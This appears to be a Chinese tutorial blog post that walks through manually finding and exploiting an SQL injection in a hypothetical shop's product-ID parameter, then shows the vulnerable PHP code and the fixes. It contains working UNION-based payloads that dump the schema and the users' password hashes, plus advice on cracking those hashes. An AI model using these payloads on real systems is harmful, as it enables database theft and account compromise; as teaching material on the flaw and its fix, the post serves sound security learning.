当前位置: 首页 > news >正文

SQL注入漏洞手动测试详细过程

这是一次详细的、基于真实手动测试思维的SQL注入漏洞测试过程记录。我们将以一个假设的Web应用程序为例,进行逐步探测和利用。

测试目标

假设我们正在测试一个名为 example.com 的电商网站,其有一个查看商品详情的页面,URL 为:
https://example.com/products/details.php?id=1

我们的目标是测试 id 参数是否存在SQL注入漏洞。


第一步:初步探测与行为观察

首先,我们观察正常输入下的页面行为。

  1. 正常请求:
    https://example.com/products/details.php?id=1

    • 页面正常显示 ID 为 1 的商品信息(例如,商品名 "Product A",价格 "$19.99")。

  2. 输入异常值:

    • 请求: https://example.com/products/details.php?id=1'

    • 观察: 页面可能返回一个数据库错误(例如,MySQL错误:You have an error in your SQL syntax...),或者页面变得异常(空白、部分内容缺失)。这是一个强烈信号,表明我们的输入被直接拼接到了SQL查询中。

    • 请求: https://example.com/products/details.php?id=1-0

    • 观察: 如果页面仍然显示 ID 为 1 的商品,说明 1-0 被数据库计算为了 1,这同样暗示着动态SQL的执行。

  3. 输入逻辑测试值:

    • 请求(永真条件): https://example.com/products/details.php?id=1' OR '1'='1

    • 观察: 如果页面没有返回错误,而是显示了多个商品的信息,甚至是数据库中的所有商品,这几乎可以确认漏洞存在。因为拼接后的SQL变成了 SELECT ... FROM products WHERE id = '1' OR '1'='1'WHERE 条件永远为真。

    • 请求(永假条件): https://example.com/products/details.php?id=1' AND '1'='2

    • 观察: 如果页面没有显示任何商品信息(空白或“未找到”提示),这同样是一个有力的证据。因为SQL变成了 ... WHERE id = '1' AND '1'='2',条件永远为假。

结论: 基于以上观察(特别是单引号引发的错误和永真条件返回多个结果),我们基本确定 id 参数存在基于字符串的SQL注入漏洞。


第二步:确定字段数(使用 ORDER BY

为了进一步利用(如联合查询),我们需要知道原始查询返回的列数。

  1. 逐步递增测试:
    https://example.com/products/details.php?id=1' ORDER BY 1-- -
    https://example.com/products/details.php?id=1' ORDER BY 2-- -
    https://example.com/products/details.php?id=1' ORDER BY 3-- -
    https://example.com/products/details.php?id=1' ORDER BY 4-- -

  2. 观察:

    • 当测试到 ORDER BY 3 时,页面正常显示。

    • 当测试到 ORDER BY 4 时,页面返回错误(例如:Unknown column '4' in 'order clause')。

  3. 结论: 原始查询返回了 3 个字段。-- - 是注释符,用于注释掉原查询中可能存在的后续SQL代码(如 LIMIT 1),- 后面的空格有时是必须的,以确保注释生效。


第三步:确定回显点(使用 UNION SELECT

联合查询 (UNION) 要求前后两个查询的列数一致。我们现在知道是3列,接下来要找出在网页的哪个位置会回显我们查询的数据。

  1. 构造联合查询:
    https://example.com/products/details.php?id=-1' UNION SELECT 1, 2, 3-- -

    • 关键点: 将原查询的 id 设置为一个不存在的值(如 -1),这样原查询不会返回任何结果,页面显示的内容将完全来自于我们的 UNION SELECT 查询结果。

  2. 观察:
    页面正常显示,但原本显示商品标题、描述、价格的地方,现在可能显示数字 123

    • 例如,页面标题处显示了 2,描述处显示了 3

    • 这意味着第二个和第三个字段的位置是回显点,我们可以将想要查询的数据放在这两个位置。


第四步:提取数据库信息

现在我们可以利用回显点来提取敏感的数据库信息。

  1. 获取数据库名、用户名、版本:
    https://example.com/products/details.php?id=-1' UNION SELECT 1, database(), version()-- -

    • 观察: 在回显点(原本显示 2 和 3 的地方)分别显示了当前数据库名(如 shop_db)和数据库版本(如 8.0.31-0ubuntu0.20.04.1)。

  2. 获取所有数据库名:
    https://example.com/products/details.php?id=-1' UNION SELECT 1, schema_name, 3 FROM information_schema.schemata-- -

    • 观察: 页面会列出所有数据库的名称(如 information_schemamysqlperformance_schemashop_db)。

  3. 获取当前数据库的所有表名:
    https://example.com/products/details.php?id=-1' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database()-- -

    • 观察: 页面会列出 shop_db 数据库中的所有表(如 productsusersorders)。我们对 users 表特别感兴趣。

  4. 获取 users 表的所有列名:
    https://example.com/products/details.php?id=-1' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_schema=database() AND table_name='users'-- -

    • 观察: 页面会列出 users 表的所有列(如 idusernamepasswordemail)。


第五步:提取最终敏感数据

现在我们已经知道了数据库、表、列的结构,可以提取最核心的敏感数据了。

  1. 提取用户名和密码:
    https://example.com/products/details.php?id=-1' UNION SELECT 1, username, password FROM users-- -

    • 观察: 页面会在回显点列出所有用户的用户名和密码哈希值。

    • 例如:

      • admin | 5f4dcc3b5aa765d61d8327deb882cf99 (MD5 hash of 'password')

      • johndoe | e10adc3949ba59abbe56e057f20f883e (MD5 hash of '123456')

  2. (可选) 破解密码哈希:
    将这些哈希值复制到在线MD5解密网站或使用 hashcatjohn 等工具进行破解,即可获得用户的明文密码。


总结与漏洞代码分析

根本原因:
后端PHP代码(details.php)可能编写得极不安全,类似于以下形式:

php

// 糟糕的、易受攻击的代码
$id = $_GET['id']; // 直接从用户输入获取数据,未经过滤// 动态拼接SQL查询字符串
$sql = "SELECT id, name, description FROM products WHERE id = '" . $id . "' LIMIT 1";// 执行查询
$result = $conn->query($sql);

修复方案:

  1. 使用参数化查询(预编译语句): 这是根本解决方案。

    php

    // 安全的代码 - 使用预处理语句
    $stmt = $conn->prepare("SELECT id, name, description FROM products WHERE id = ? LIMIT 1");
    $stmt->bind_param("i", $id); // "i" 表示参数 $id 是整数类型
    $id = $_GET['id'];
    $stmt->execute();
    $result = $stmt->get_result();
  2. 严格的输入验证: 确保 id 参数确实是整数。

    php

    $id = intval($_GET['id']); // 强制转换为整数,非数字输入会变为0
    if ($id <= 0) {// 处理错误,直接退出die('Invalid ID');
    }
  3. 最小权限原则: 用于连接数据库的账户不应拥有对 information_schema 等系统表的读写权限。

手动测试思维总结:
这个过程体现了手动测试的核心:猜测 -> 探测 -> 观察 -> 调整 -> 利用。测试者需要像攻击者一样思考,根据应用程序的每一次响应来调整下一步的Payload,逐步深入地了解数据库结构并最终获取目标数据。自动化工具(如sqlmap)也是基于类似的逻辑,但手动测试更能锻炼对漏洞原理的深刻理解。


文章转载自:

http://ZxJjpf4N.Lxqkt.cn
http://q4ZQgU3r.Lxqkt.cn
http://a9RmJL4a.Lxqkt.cn
http://m4uzvWhE.Lxqkt.cn
http://9iCZvAxf.Lxqkt.cn
http://oql5YPxD.Lxqkt.cn
http://fxH5girm.Lxqkt.cn
http://NxXoFbwu.Lxqkt.cn
http://3WJjoREF.Lxqkt.cn
http://fle8fagE.Lxqkt.cn
http://es4BuHd5.Lxqkt.cn
http://TZCqmvld.Lxqkt.cn
http://oyorFnyX.Lxqkt.cn
http://DZPLHoYt.Lxqkt.cn
http://w1cx7mpp.Lxqkt.cn
http://mJMrQTrA.Lxqkt.cn
http://tAa28pbb.Lxqkt.cn
http://rwCZAH6d.Lxqkt.cn
http://0oUg81b7.Lxqkt.cn
http://t27pFZ4l.Lxqkt.cn
http://WGkbApu0.Lxqkt.cn
http://hSTJDhWb.Lxqkt.cn
http://WOUnocED.Lxqkt.cn
http://Oy89FPoz.Lxqkt.cn
http://aW155FPE.Lxqkt.cn
http://QqwT6pOH.Lxqkt.cn
http://Z5jWyf1J.Lxqkt.cn
http://ZoCf6Xdu.Lxqkt.cn
http://XmhRxWPu.Lxqkt.cn
http://1gFGsWdB.Lxqkt.cn
http://www.dtcms.com/a/382269.html

相关文章:

  • 【Linux】gcc/g++工具篇
  • libxl写到xls
  • 关键点(c++,Linux)
  • IO进程——进程引入、进程函数接口
  • Java 面向对象设计的六大原则
  • 今日分享:C++ deque与priority_queue
  • Vue3 通过json配置生成查询表单
  • spring 声明式事务
  • [硬件电路-190]:三极管的电流放大特性看男女关系3:过渡的投入,输出进入不安全区、疲惫期,反而双方系统造成伤害
  • json文件转excel
  • ros2获取topic信息解析
  • C++中的贪心算法
  • 【Selenium】Selenium 测试失败排查:一次元素定位超时的完整解决之旅
  • Selenium 使用指南
  • 【Python 入门】(2)Python 语言基础(变量)
  • XSS攻击1----(XSS介绍)
  • 【LeetCode 每日一题】3446. 按对角线进行矩阵排序——(解法一)分组 - 排序 - 重建
  • 【亲测有效】解决 “Batch script contains DOS line breaks (\r\n)” 报错
  • 集值优化问题:理论、应用与前沿进展
  • 17、逻辑回归与分类评估 - 从连续到离散的智能判断
  • AMD KFD的BO设计分析系列3-1: GTT的实现分析
  • 如何实现静态库与动态库的制作
  • 【硬件开发】电源抑制比PSRR
  • 基于Redisson的分布式锁原理深度解析与性能优化实践指南
  • 【Leetcode hot 100】101.对称二叉树
  • 破解多校区高校运维困局,协同效率提升60%的智能运维方案
  • 王道计算机组成原理 学习笔记
  • Matplotlib:绘制你的第一张折线图与散点图
  • 即梦批量生成图片软件使用运营大管家-即梦图片批量生成器
  • Qt中解析JSON文件